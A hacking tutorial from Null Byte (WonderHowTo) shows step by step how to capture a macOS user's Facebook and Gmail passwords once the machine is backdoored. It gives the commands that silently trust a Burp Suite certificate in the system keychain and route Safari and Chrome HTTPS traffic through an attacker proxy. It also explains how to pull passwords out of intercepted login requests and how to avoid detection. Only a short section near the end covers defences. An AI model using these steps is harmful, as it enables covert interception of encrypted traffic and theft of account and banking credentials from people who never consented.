How to Hack Facebook & Gmail Accounts Owned by MacOS Targets « Null Byte :: WonderHowTo

It only takes a few commands to manipulate a MacBook's secure HTTPS traffic and pluck login passwords out of the encrypted data. Let's take Facebook and Gmail hacking to the next level by intercepting Safari and Google Chrome web traffic in real time.Both Facebook and Gmail have exceptional web application security practices. They quickly blacklist IP addresses for performing brute-force attacks and lock accounts after only a few failed login attempts.Furthermore, successful logins made from new IP addresses or different web browsers will trigger these websites to further authenticate the login; This could mean matching the target's childhood friends to their Facebook profile pictures or providing a one-time use code sent to the target's smartphone.In truth, it's usually going to be easier to compromise a target's operating system to get credentials than it is to guess a target's user passwords.Don't Miss:How to Hack Mojave 10.14 with a Self-Destructing PayloadThis article specifically focuses on learning the Facebook and Gmail passwords of a target macOS user on a shared Wi-Fi network. To follow along, readers will need togain access to the target's MacBookto perform this attack. This can be accomplished using various methods; With a few moments of physical access, the MacBook can becompromised using a single-user mode attack. Alternatively,social engineeringthe target into opening atrojanized file on a USB drivemay be optimal.Understanding the AttackEssentially, we'll be forcing the target's Safari or Chrome browser to send allHTTP and HTTPS trafficto aBurp Suite proxythat we control. Upon receiving the web traffic, Burp will be able to interpret all HTTPS data in real time. Normally, such activity isn't possible, but we'll covertly configure the target's operating system in such a way that it trusts the SSL certificate used by our proxy.For readers who have configured their browser to use a Burp proxy before, this is exactly what we're doing to the target's browsers — but entirely without their knowledge.Don't Miss:Attack Web Applications with Burp Suite & SQL InjectionWe'll start by setting up Burp in Kali Linux to intercept traffic. Then, from our backdoor, we'lldownload and import the Burp certificateinto the target's Keychain so that their Safari or Chrome browser doesn't alert them to any suspicious certificate activity. Finally, we'll configure the MacBook to send all HTTP and HTTPS traffic to our Burp proxy.Our attack requires root privileges as it's not possible to import certificates into the macOS Keychain as a normal user. Root can be achieved by physically backdooring the target MacBook or by performing privilege escalation attacks, such aspassword phishing, usingEmpiretodump the target's password hash, ordumping their browser cacheand perhaps discovering they often reuse passwords.Don't Miss:How to Hack a MacBook with One Ruby CommandStep 1: Install Burp Suite (If Necessary)Depending on your version ofKali Linux, Burp Suite may not be already installed. To install Burp, use the belowapt-getcommands.apt-get update && apt-get install burpsuiteStep 2: Set Up Burp SuiteOpen Burp, click on the "Proxy" tab, then the "Options" tab, and click the "Edit" button underProxy Listeners. Enter your desired bind port where indicated; I'm using 9999 because it's easy to remember, however, this number is arbitrary.Next, specify the address to listen on; This attack is intended for a local network, so your 192.168.1.xx address should be used. I'm performing this in an internal lab so my attacker's local IP address is 10.42.0.1. If in doubt, using the "All interfaces" option should work instead.Click on "OK" to save the changes. Afterward, navigate back to the "Intercept" tab and ensure "Intercept is off." Disabling this will allow the target's web traffic to flow without interruption while continuing to use our device as a proxy.Don't Miss:How to Secretly Livestream Someone's MacBook ScreenStep 3: Download the Burp CertificateUtilizing our backdoor into the MacBook, we'll first need to download the Burp certificate from our Burp proxy. Use the belowcurlcommand to do this.curl -s --insecure --proxy http://10.42.0.1:9999 http://burp/cert -o /tmp/burp.derIn the above command, curl will silently (-s) download the certificate from our Kali machine. The--proxyargument is required because we're instructing curl to use the newly configured Burp listener to fetch the certificate; This certificate isn't trusted by curl (or any web browser) by default, so the--insecureargument is required to ignore warnings in the output. Finally, the Burp certificate is saved (-o) to the/tmpdirectory with the file nameburp.der. The .der file extension is merely the certificate's default file format and shouldn't be changed.Step 4: Import the Burp CertificateNow, import the Burp certificate that was downloaded into the target's Keychain using the belowsecuritycommand.security add-trusted-cert -k /Library/Keychains/System.keychain -d /tmp/burp.derSecurity will add (add-trusted-cert) and fully trust the certificate (-d /tmp/burp.der) into the macOS primary system Keychain (-k). All we have to do now is configure macOS to send us all of the target's web traffic.Step 5: Configure the MacBook Proxy SettingsAt this point, we can use our backdoor to silently configure the target MacBook to send us all of its HTTP and HTTPS web traffic.Networksetupis a command line tool used to configure network settings in the macOS System Preferences. Using networksetup via command line is much like making changes directly to the Network preferences in macOS as if we were sitting in front of the MacBook.Use the following networksetup command with the-listallnetworkservicesargument to display the available services./usr/sbin/networksetup -listallnetworkservices

iPhone USB
Wi-Fi
Bluetooth PAN
Thunderbolt BridgeNotice the "Wi-Fi" service here. This is the service we'll most likely need to modify. If the target is using an external wireless adapter, it may appear here as well. In that case, an attacker would need to modify those proxy settings instead.Don't Miss:How to Remotely Eavesdrop Using Anyone's MacBook MicrophoneThe below-getwebproxy(HTTP) and-getsecurewebproxy(HTTPS) arguments can be used to view any currently existing proxy settings the target may have configured themselves./usr/sbin/networksetup -getwebproxy "Wi-Fi"

Enabled: No
Server:
Port: 0
Authenticated Proxy Enabled: 0/usr/sbin/networksetup -getsecurewebproxy "Wi-Fi"

Enabled: No
Server:
Port: 0
Authenticated Proxy Enabled: 0As we can see, both HTTP and HTTPS proxies are disabled. This is a good thing because it means the target has likely never changed their proxy settings and won't think to look there if applications start acting strangely.To force the target's HTTP and HTTPS web traffic to route through our Burp proxy, use the below commands./usr/sbin/networksetup -setwebproxy "Wi-fi" 10.42.0.1 9999
/usr/sbin/networksetup -setsecurewebproxy "Wi-fi" 10.42.0.1 9999Remember to change the attacker's IP address (10.42.0.1) to your local network address. If you opted to use a port number other than 9999, be sure to change that in the above commands as well. The newly configured proxy settings will take effect immediately.Step 6: Capture Facebook PasswordsBack in Burp Suite, navigate to the "HTTP history" tab to view the target's web traffic in real time. Pay close attention toPOST requestsfound in theMethodcolumn, as they will hold the most compromising data. For example, the Facebook email address and password are shown in the below screenshot.The target's email (target@email.com) and their password are very easily identified thanks to Facebook's clearly defined "email=" and"pass=" parameters.Step 7: Capture Gmail PasswordsHowever, websites like Gmail are more difficult to manage — especially when the target is using a strong password that contains many special characters. Special characters are automatically encoded by our web browsers, so a password is much more difficult to spot within a wall of encoded gibberish (shown below).Example password: g$FR3eDW&ujYH6I{*5aaEncoded into: g%24FR3eDW%26ujYH6I%7B*%5D5aaAs we can see, it's like trying to find a needle in a haystack. The trick is to isolate the problem. At the time of this writing, Gmail stores the user's encoded password in the "f.req=" parameter (shown below).Highlight the entire parameter, and copy the text. Then, open the "Decoder" tab in Burp and paste the encoded text into the top window. Click the "Decode as" button, and select the "URL" option.Don't Miss:How to Install a Persistent Empire Backdoor on a MacBookThe bottom window will now show the decoded text in a slightly more readable format. Copy the decoded text and paste it into your preferred text editor (Gedit, Geany, etc.).We can see the data is separated by many commas (,) in an array-like format. In the case of Gmail, the password is located in quotes between the eighth and ninth commas (shown below).Facebook and Gmail are just two examples. The parameters containing email addresses and passwords will likely be different for each login we intercept. This is especially true for the top 100 websites that handle authentication differently and feature state-of-the-art security practices. Readers are encouraged to test this attack against their target website (if Facebook isn't your goal) to learn how it handles login parameters to make locating passwords easier.Step 8: Disable Proxying on the Target MacBookWhen you're done performing the attack, remember to disable the previously configured proxy settings. Otherwise, the target will continue to send their web traffic to your IP address long after you've disconnected from the Wi-Fi network. Such activity will likely arouse suspicion as the target won't be able to access the internet without your Burp proxy.To disable the proxy settings on the target MacBook, use the below networksetup commands./usr/sbin/networksetup -setwebproxystate "Wi-fi" off
/usr/sbin/networksetup -setsecurewebproxystate "Wi-fi" offImproving the AttackThere are quite a view caveats and areas this attack can be improved.Option 1: Remote Hacking with MitmproxyAs an alternative,Mitmproxycan be used tointercept, inspect, modify, and replay web trafficmuch like Burp. While Burp is more developed and fully featured, Mitmproxy has a command line interface capable of easily running onvirtual private server. The use of a VPS would allow an attacker to intercept the target's web traffic as they move between different Wi-Fi networks.Option 2: Firefox WarningConfiguring macOS to use the Burp proxy will also force Firefox to proxy all of its requests to the attacker's device. However, unlike Safari and Chrome, importing the Burp certificate into the macOS Keychain doesn't affect Firefox; This is because Firefox independently validates certificates and doesn't use the macOS Keychain. If the target uses Safari or Chrome and Firefox concurrently, they will likely notice the suspicious activity. Below is an example of Firefox detecting the Burp certificate.Option 3: Other Apps Configured to Use the macOS ProxyLike Firefox, applications such as Spotify, Skype, Opera web browser, VLC, and Thunderbird may also validate certificates without using of the macOS Keychain. This could cause the applications to notify the target user of suspicious activity or break entirely.Unfortunately, I didn't get around to testing popular third-party applications after configuring the Burp proxy. Readers are encouraged to continue this research and find out for themselves if such applications are affected by the proxy before performing this attack in real scenarios.Option 4: Custom SSL CertificatesIn this guide, we learned to use the default SSL certificate automatically generated by Burp Suite. If a target user inspects the certificate in their Safari or Chrome browser, they'll notice the "PortSwigger CA" certificate (shown below). PortSwigger, creator of Burp Suite, is clearly the issuer of this certificate, so this would be an immediate red flag. Creating a unique certificate with a convincing domain name might actually prevent the target from identifying the fraudulent certificate.Don't Miss:How to Hack 200 Online User Accounts in Less Than 2 HoursHow to Protect Yourself from Keychain & SSL-Based AttacksThere isn't an easy solution here. Antivirus software won't flag the imported Burp certificate as suspicious so it's up to us to regularly monitor our Keychain for unusual activity.Furthermore, if an attacker has root privileges and is importing certificates into your operating system —you have bigger issues to deal with. Identifying an attacker on your system can be extremely difficult. The below solutions may help, however.Tip 1: Inspect Your KeychainWe can't rely on popular antivirus software to police our certificates. Keychain can be opened by searching for "keychain" in Spotlight. Don't be afraid to look around. Certificate details can be expanded and analyzed. If something wasn't placed there by you, don't be alarmed as it could've been by a legitimate application installed in the past.For certificates we're unsure about, we can Google them and/or inquire in support communities like theofficial Apple support community,Apple StackExchange, andInformation Security StackExchange.Tip 2: Inspect Your Proxy SettingsThe proxy settings are a bit trickier to locate. Search for "proxy" using Spotlight, then click on the "Advanced" button. Then, click the "Proxies" tab and highlight the "Web Proxy (HTTP)" and "Secure Web Proxy (HTTPS)" tabs. If you didn't set these proxies yourself, it should be safe to uncheck them and click the "OK" button.Tip 3: Inspect Your Browser CertificatesBefore logging into websites, it's usually a good idea to inspect the SSL certificate. This can be done in Safari and Chrome by clicking on the lock icon in the URL bar, then the "Show Certificate" or "Certificate" button, respectively. This button will open a new layover window with the certificate details. Click the "Details" option, and scroll down to theSHA-256andSHA-1fingerprints at the bottom of the certificate.Now, using an additional device (like another laptop or smartphone), inspect the website certificate again and compare the fingerprints — which should match exactly. If the fingerprints don't match between all of your devices, this could be a sign of fraudulent certificates in effect.Tip 4: Inspect Your Web TrafficWiresharkis an excellent tool to identify suspicious traffic originating from your machine. If an attacker has established a backdoor, they will likely be usingNetcator Python to create TCP connects between you and their server(s) at set intervals. In the below screenshot, we can see the attacker (10.42.0.1) issuing commands to the target MacBook (10.42.0.98) on port 4444.Going Beyond Facebook & Gmail HackingWhile this article used Facebook and Gmail as examples, manipulating a MacBook's web traffic in such a way will, in fact, allow an attacker to intercept all HTTPS traffic for every single website visited by the target. This means Amazon, Twitter, Instagram, Yahoo, and bank logins will be intercepted and immediately compromised — even if the target is already logged in.I hope this tutorial inspired some readers to think differently about post-exploitation. HTTPS-based attacks are considered, by some, to be among the highest level of hacking. If we can continue to find ways of circumventing encryption, targets will have no way of defending themselves against such attacks. There's no telling how many network-based attacks can be deployed where SSL protections aren't an obstacle.Follow me and hit me up on Twitter@tokyoneon_or leave questions and comments below if you have them.Don't Miss:How to Hack Mojave 10.14 with a Self-Destructing PayloadFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by tokyoneon/Null BtyeRelatedHacking macOS:How to Hack a Mac Password Without Changing ItHow To:Increase Attachment Size for Secondary Email Accounts in the Gmail Android AppHow To:See If Anyone's Hacked into Your Dropbox, Facebook, or Gmail AccountsHow To:Keep Work Emails from Invading Your Free TimeHow To:The Ultimate Guide to Hacking macOSHow To:You've Probably Let Several Apps Read Your Gmail — Here's How to See & Delete ThemHack Like a Pro:The Ultimate Social Engineering HackAdvanced Phishing:How to Inject Meetings into Anyone's Google CalendarHow To:Grant Other People Access to Your Gmail Account Without Sharing Your PasswordHacking macOS:How to Bypass Mojave's Elevated Privileges Prompt by Pretending to Be a Trusted AppNews:'Messages in iCloud' Finally Available for Macs, Not Just iOS DevicesGmail 101:How to Send & Receive Money with Android's Default Email AppHacking macOS:How to Perform Situational Awareness Attacks, Part 2 (Finding Files, History & USB Devices)How To:How Google Uses Your Data to Improve Your Gmail ExperienceHacking macOS:How to Perform Privilege Escalation, Part 2 (Password Phishing)Hacking macOS:How to Automate Screenshot Exfiltration from a Backdoored MacBookHow To:Download Any TikTok Video on Your Phone — Even if They're Blocked from SavingNews:Gmail Introduces Gmailify, a Better Way to Manage Your Non-Gmail Email AccountsProtonMail 101:How to Change Your Display Name That Shows Up in EmailsHacking macOS:How to Perform Situational Awareness Attacks, Part 1 (Using System Profiler & ARP)News:Pinterest Takes Steps to Hack-Proof Your AccountHow To:Find Anyone's Private Phone Number Using FacebookNews:Should Kids Be Allowed to Use Facebook and Google+?How To:Create a Gmail or Google Account Without a Google+ ProfileHow To:Make a Gmail Notifier in PythonNews:Linking His Twitter Account to His Facebook AccountHow To:Update to the New Gmail Look (And See What's Changed)News:Get YouTube's New Layout Today with a Simple JavaScript HackHow To:Get Your Suspended Google+ Profile ReinstatedNews:Should Google+ Require You to Use Your Real Name?News:Tips and Tricks for GmailHow To:Switch Accounts in Google Apps with One SwipeHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android Device